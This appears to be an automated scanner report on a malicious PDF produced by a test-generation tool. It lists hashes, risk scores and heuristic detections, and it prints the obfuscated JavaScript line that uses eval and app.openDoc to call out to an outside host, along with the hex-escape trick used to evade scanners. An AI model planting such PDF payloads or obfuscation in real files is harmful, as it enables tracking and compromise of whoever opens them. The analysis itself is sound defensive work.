PDF malware analysis — malicious · ccd19d906755ad7c

MALICIOUS

PDF

459 B Authoring application: malicious-pdf (via https://github.com/jonaslejon/malicious-pdf) First seen: 2026-06-10

MD5: f41b5452db8cf557e49f84ee8597894a SHA-1: c4c586b5774a1247bffa1efcdc21de84dbd4113d SHA-256: ccd19d906755ad7c498264e9fbdf3c211c7ca3c55be099ec14ba49f718fcf6bf

208 Risk Score

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 5

Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT

A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
      /#4a#53 (
      eval(
          'app["openDoc"]({cPath: encodeURI("https://192.168.1.19"), cFS: "CHTTP" });'
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://192.168.1.19 In PDF document text
- https://github.com/jonaslejon/malicious-pdfIn PDF document text
- https://github.com/jonaslejon/malicious-pdf1In PDF document text

Open this report in the interactive analyzer, or submit your own file for analysis.